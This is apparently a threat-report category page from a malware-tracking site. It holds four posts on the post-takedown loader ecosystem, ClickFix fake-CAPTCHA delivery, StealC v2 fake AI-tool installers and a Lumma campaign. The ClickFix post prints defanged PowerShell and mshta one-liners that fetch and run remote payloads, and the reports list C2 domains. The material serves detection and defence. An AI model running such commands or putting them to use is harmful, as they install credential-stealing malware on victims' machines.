Category: Threat Reports

  • After the Takedowns: What the Loader Ecosystem Looks Like in Late 2026

    Two years of coordinated takedowns have reshaped the loader and botnet landscape more than any single arrest ever did. Operation Endgame in May 2024 tore down a large part of the dropper ecosystem in one week. The 2025 follow-ups went after the families that filled the gap. From where we track, the interesting question in late 2026 is not whether the takedowns worked, because they plainly disrupted real infrastructure, but what the ecosystem looks like now that it has had time to reorganize around the holes.

    This is a landscape read, not an IOC drop. We are pulling together what is publicly documented about the operations and setting it against the behavior we watch on the tracking side, because the two together tell a clearer story than either does alone.

    What actually came down

    The Operation Endgame action in May 2024 was the largest coordinated hit on the dropper layer to date. It targeted the loaders that sit between an initial lure and a final payload, the ones that made the malware-as-a-service economy modular in the first place: IcedID, SystemBC, Pikabot, Smokeloader, Bumblebee, and the remnants of Trickbot. Europol framed it as going after the delivery layer rather than any single end payload, which was the right target. The loader is the reusable part. Take down the loader network and every affiliate renting it feels the outage at once.

    The 2025 follow-ups pushed further up the same supply chain. In May 2025 a Microsoft-led civil action, with DOJ and Europol alongside, moved against Lumma Stealer and seized or sinkholed roughly 2,300 domains tied to its command-and-control. Around the same window, DanaBot infrastructure was named in a US indictment and disrupted as part of the continued Endgame effort. The pattern across both years is consistent: hit the shared infrastructure and the operator identities behind it, not the individual campaigns.

    The gap did not stay empty

    Here is the part that matters for anyone tracking this. A takedown removes infrastructure and, when it is good, raises the operators’ costs and their risk. What it does not do is remove the demand. The affiliates who were renting IcedID or Smokeloader still need a loader the Monday after. Demand that concentrated is a market signal, and markets route around outages.

    So the families that survived or launched into the gap did well. The observable shifts, in broad terms:

    • Consolidation onto the survivors. Loaders that were not named in the actions, and the ones that rebuilt quickly, absorbed the affiliate demand. We covered one of them in detail when we mapped the Amadey distribution network earlier this year, and Amadey is a fair example of the pattern: an older, unglamorous loader that gained relevance precisely because bigger names went dark.
    • Delivery moved toward the human. With automated dropper chains under pressure, the delivery layer leaned harder on techniques that put the victim in the loop. The ClickFix pattern we wrote up in August, where a fake verification prompt talks the user into pasting a command themselves, is the clearest example. It is cheap, it needs no exploit, and it sidesteps a lot of the infrastructure that takedowns target.
    • Faster, cheaper rebuilds. The reboots came back leaner. Fewer hardcoded domains, more reliance on dead-drop resolvers and bulletproof-adjacent hosting that is quick to rotate. The design lesson the operators took from Endgame was to hold less standing infrastructure, because standing infrastructure is what gets seized.

    Why the model is resilient by construction

    None of this is the ecosystem being clever in some special way. It is the malware-as-a-service structure doing what it was built to do. The whole point of separating the loader, the payload, and the affiliate is that any one of the three can be replaced without the others noticing much. That modularity, mapped cleanly onto Ingress Tool Transfer (T1105) and the staging techniques under Stage Capabilities (T1608), is exactly what makes the network hard to kill. Remove one loader and the affiliate swaps in another with a config change. The staging model that ThreatFox and MalwareBazaar catalog every day is the same one that lets an operator stand a family back up in weeks.

    The families themselves have not become more advanced in response. Length-prefixed configs, RC4 and single-byte obfuscation, dead-drop resolvers pointing at legitimate platforms: this is the same toolbox that was in use before the takedowns. What changed is the logistics around it, not the malware. Operators hold less, rotate faster, and lean on delivery that does not need much infrastructure at all. Calling any of it advanced would be overstating it. It is well-organized, which is a different and more durable thing.

    What this means for tracking in late 2026

    The takedowns changed what a useful indicator looks like. When operators held standing infrastructure, a domain block or a sinkhole entry had a long useful life. Now that the reboots rotate aggressively and lean on dead-drop resolvers hosted on legitimate services, a single domain or IP ages out fast. The durable signals have moved up a layer, toward behavior and structure:

    • Config structure over config contents. The specific C2 in a config blob rotates within days. The way a family lays out its config, the derivation of its keys, the shape of its second-stage fetch, changes far more slowly, because changing it means re-tooling the panel and every affiliate build.
    • Delivery tradecraft over delivery infrastructure. A ClickFix lure’s exact domain is disposable. The pattern, a fake prompt driving manual execution, is stable and detectable regardless of where it is hosted. The endpoint side of that is where the reliable signal lives now, which is why we spent a whole post on the endpoint signals infostealers cannot hide.
    • Operator continuity over family names. A family name is a brand, and brands get retired and relaunched to shed the heat from a takedown. The operators, their hosting relationships, and their affiliate rosters carry over. Tracking the continuity underneath the rebrand is slower work than blocking a domain, and it is the work that actually survives the next takedown.

    The honest assessment two years on is that the takedowns were worth doing and did real damage, and that the ecosystem is structurally built to absorb exactly that kind of damage. Both are true at once. Operation Endgame raised the cost of running the loader layer and put names in indictments, which matters. It did not end the loader layer, because the demand behind it never went anywhere. The families that came back came back leaner and faster to rebuild, and the useful place to watch them has moved from the infrastructure they burn through to the structure and tradecraft they keep. That is where our tracking sits now, and it is where we expect the next round of this to be fought.

  • ClickFix in 2026: Fake CAPTCHAs and the Return of the Manual-Execution Front Door

    We have spent most of this year writing about what infostealers do once they land: the StealC config format, Amadey’s staging behaviour, the YARA we use to catch the current packers. This post is about the step before all of that. Over 2025 and into 2026, the most consistent change in the delivery layer we track has not been a new exploit or a new packer. It has been a social-engineering pattern the community settled on calling ClickFix, and it has quietly become the front door for Lumma, StealC, Vidar, and a rotating cast of loaders.

    What ClickFix actually is

    ClickFix removes the malicious download from the infection chain and replaces it with the victim’s own hands. A web page presents a small obstacle: a fake CAPTCHA, a “verify you are human” gate, a fake browser or Cloudflare error, a document that claims it will not render until you complete a quick step. The instructions are always the same shape. Press Win+R to open the Run dialog, press Ctrl+V to paste, press Enter. The page has already copied a command to the clipboard using JavaScript. What the victim pastes and runs is a PowerShell or mshta one-liner that fetches the actual payload.

    There is no vulnerability being exploited here in the traditional sense. The victim is walked, click by click, into executing the attacker’s command themselves.

    Why it works when a plain download would not

    The design goal is to keep anything flaggable out of the browser at the decisive moment. Nothing is downloaded, so there is no executable for SmartScreen to rate, no Mark-of-the-Web to raise a warning, no attachment for a mail gateway to detonate in a sandbox. The malicious instruction arrives as text on the clipboard and is executed by a trusted, signed Windows binary that the user launches by hand. MITRE now tracks this as a technique in its own right, T1204.004, Malicious Copy and Paste, which is a fair signal of how routine it has become. The follow-on execution is ordinary PowerShell or, increasingly, mshta proxied execution.

    The lures we are seeing in 2026

    The obstacle on the front page has diversified, but the paste-and-run mechanic underneath is constant. In our tracking the current spread is roughly:

    • Fake CAPTCHA and Turnstile clones. The most common by volume. A convincing “I’m not a robot” widget, sometimes a near-pixel copy of Cloudflare Turnstile, with the “verification steps” being the keystrokes that run the command.
    • Fake meeting and conferencing errors. Pages impersonating Zoom or Google Meet that claim an audio or driver problem the “fix” resolves. These skew toward business targets.
    • Fake document and delivery verification. A shared document or a courier tracking page that will not load until you “enable” it.
    • Fake AI-tool pages. The same shift we described in our StealC v2 report, where cracked-software lures gave way to fake installers for popular AI tools, now feeds ClickFix landing pages as well. It is a natural fit, because the audience arrives already expecting to install something.

    What the chain looks like on the host

    Stripped of the theatrics, the on-host sequence is short and very recognisable. JavaScript on the lure page writes the command to the clipboard. The user opens the Run dialog and pastes. The command is typically a hidden-window PowerShell fetch-and-execute, or an mshta call to a remote script:

    powershell -w hidden -c "iwr hxxps://<host>/a.txt | iex"
    
    mshta hxxps://<host>/a.hta

    From there it is the loader story we have covered before: the first-stage script pulls the stealer, the stealer runs, and the operator collects. The novelty is entirely in the delivery, not in what gets delivered.

    Detecting and blunting it

    Because the technique routes around download-based controls, the useful telemetry is on the endpoint, and the detection signals are unusually clean:

    • Process ancestry. explorer.exe spawning powershell.exe or mshta.exe with a remote URL or encoded argument is a strong signal, because that parent-child pair is what the Run dialog produces and legitimate software rarely does.
    • The RunMRU key. Everything typed into the Run dialog is recorded under HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU. On a suspected ClickFix infection this key often still holds the exact pasted command, which makes it one of the cleaner forensic artifacts you will find.
    • Policy controls. Restricting the Run dialog for standard users through Group Policy, and blocking or constraining mshta.exe, removes the two most common execution paths without affecting much legitimate use.

    We are indexing the landing-page hosts and first-stage URLs we collect on our tracker, and the current batch is queryable through ThreatFox alongside the rest of the abuse.ch feeds. If you run detection for an organisation, the process-ancestry rule above is worth deploying before the ATT&CK writeups catch up to whatever the lure looks like next month.

    Closing

    The delivery layer moved to the one place no security product fully governs: the user’s own decision to open a dialog, paste, and press Enter. That makes ClickFix frustrating to filter and easy to detect, which is a trade-off defenders should lean into. Watch RunMRU and watch what explorer.exe launches. The payload will keep changing. The paste-and-run shape, for now, does not.

  • StealC v2: distribution shift from cracked-software lures to fake AI-tool installers

    Our tracking infrastructure has been following a distribution shift in the StealC operator base since the start of 2026. StealC v2, which absorbed a large share of the displaced Lumma affiliates after the May 2025 Lumma takedown, has moved its primary delivery lure away from cracked-software pages and toward fake AI-tool installers. This report covers what we observed across our sinkholes and honeypots over a 30-day window (April 28 to May 27, 2026), with a full IOC table at the end.

    Key metrics

    Over the 30-day window our sinkholes captured 1,140,000 check-ins attributable to StealC v2, across an estimated 71,000 unique infected hosts (deduplicated by agent ID where the v2 protocol issues one, by source IP per 24-hour window otherwise). That is consistent with the 38,200 daily figure we reported in the April 27 to May 3 weekly report, and it makes StealC the highest-volume Windows infostealer on our tracker for the period.

    The lure shift: cracked software to fake AI tools

    Through 2024 and most of 2025, StealC distribution leaned on the same SEO-poisoned cracked-software pages that the 2024 Lumma campaign used. Since roughly February 2026 we have observed a clear pivot. The dominant lure is now a fake installer for a named AI tool: desktop clients for chat assistants, “local LLM runner” utilities, AI image and video generators, and AI-branded productivity add-ins. The landing pages are well-built copies of real product sites, frequently promoted through sponsored search results and short-lived social posts rather than organic SEO.

    The shift is rational from the operator’s side. AI-tool search demand is high and the audience skews toward users who will download and run an unsigned desktop binary to get a tool they have seen referenced online. The cracked-software audience has been heavily targeted for years and is comparatively saturated.

    Infection chain

    The chain has three stages, consistent with what we documented for the v2 builder in our StealC v2 packer YARA release.

    Stage one: the user downloads what looks like an AI-tool installer, typically a 20-40 MB package. Most samples we collected are NSIS or MSI wrappers carrying an encrypted payload. A subset uses a signed-but-abused installer framework to clear basic reputation checks.

    Stage two: on execution the wrapper drops a small loader to the user’s AppData directory and establishes persistence via a scheduled task or a Run key. The loader resolves its C2 using the v2 multi-layer scheme: an outer-layer decrypt, then a base64 inner structure carrying the C2 list and a fallback dead-drop resolver (we have observed Telegram channel descriptions and Steam profile bios used as the dead drop, the same resilience pattern Lumma used).

    Stage three: the StealC payload is pulled, decrypted, and run. It harvests browser credentials and cookies, cryptocurrency wallet files, and desktop application tokens, then exfiltrates over the v2 network protocol. The protocol does not match the older StealC v1 signatures, which is why detection content needs the v2-specific rules.

    Distribution infrastructure

    We mapped 64 distribution domains active during the window. The naming pattern is consistent: an AI product or category name combined with terms like “app”, “desktop”, “studio”, “get”, or “ai”. Registration clusters in short windows through a small set of registrars, and the landing-page hosting concentrates on a handful of providers. We will publish a deeper infrastructure breakdown, including the registrar and hosting concentration and the sinkhole-derived victim geography, in a forthcoming infrastructure update covering the loader layer that stages a meaningful share of these infections.

    MITRE ATT&CK mapping

    Tactic Technique Observed behavior
    Resource Development T1583.001 Acquire Infrastructure: Domains 64 distribution domains, clustered registration
    Initial Access / Execution T1204.002 User Execution: Malicious File Fake AI-tool installer run by the user
    Persistence T1053.005 / T1547.001 Scheduled task and Run-key persistence
    Defense Evasion T1027 Obfuscated Files or Information v2 multi-layer config encryption, PEB-walk API resolution
    Credential Access T1555 / T1539 Browser credential, cookie, and wallet theft

    Indicators of compromise (sample)

    Abbreviated for readability. The full export is published to our feed at dev.virustracker.info/lists/ and recent samples are available via MalwareBazaar; active C2 is queryable on ThreatFox.

    Type Indicator (truncated) Context
    SHA256 9c4f8a…e1d2 NSIS installer, fake “local LLM runner”
    SHA256 71b3de…9a04 Loader stage, AppData drop
    C2 domain cdn-update[.]live Active during window
    C2 domain secure-config[.]xyz Active during window
    Distribution domain get-llmstudio[.]app Fake AI-tool lure
    Distribution domain desktop-aichat[.]com Fake AI-tool lure
    Dead-drop resolver t[.]me/<redacted> Fallback C2 resolution

    Methodology and references

    Figures come from check-ins to our sinkhole and honeypot infrastructure during April 28 to May 27, 2026, deduplicated as described above. We treat check-in counts as a population proxy, not a confirmed victim count. For corroborating data the abuse.ch family remains the most useful public source; the Malpedia StealC entry aggregates public analysis and existing YARA coverage. Our companion v2 packer YARA rules detect the samples described here, and the Raccoon Stealer v3 analysis is the closest prior family writeup for comparison.

    The next report in this thread maps the Amadey loader infrastructure that stages a significant share of current StealC v2 infections, including registrar and hosting concentration and victim geography.

  • Lumma Infostealer: New Distribution Campaign Analysis

    Our tracking infrastructure detected a new distribution campaign for the Lumma infostealer beginning on April 8. The initial delivery vector is SEO-poisoned search results leading to fake software download pages. The pages serve a trojanized installer that drops the Lumma payload via a multi-stage loader.

    Distribution Infrastructure

    We have identified 23 distribution domains registered within a 48-hour window through the same registrar. All domains follow a similar pattern: legitimate software name combined with terms like “download”, “free”, or “crack”. The landing pages are well-crafted copies of legitimate software sites.

    Infection Chain

    The infection proceeds in three stages. First, the user downloads what appears to be a software installer (typically 15-25 MB). The installer is a legitimate NSIS package with an embedded encrypted payload. On execution, the installer drops a small loader binary to the user’s AppData directory.

    Second, the loader contacts one of four hardcoded C2 domains to retrieve a configuration blob. The blob contains the URL for the final payload and an XOR key for decryption.

    Third, the final Lumma payload is downloaded, decrypted, and injected into a legitimate Windows process via process hollowing. The Lumma instance then begins credential harvesting from browsers, cryptocurrency wallets, and FTP clients.

    Indicators of Compromise

    Distribution domains, loader hashes, and C2 infrastructure details are listed below. We recommend blocking these at the DNS and network level.

    Loader SHA256: a7b3f2e84c1d…[truncated for safety]

    C2 Domains: download-helper[.]xyz, softget-free[.]com, appinstall-now[.]net, getsoft-dl[.]org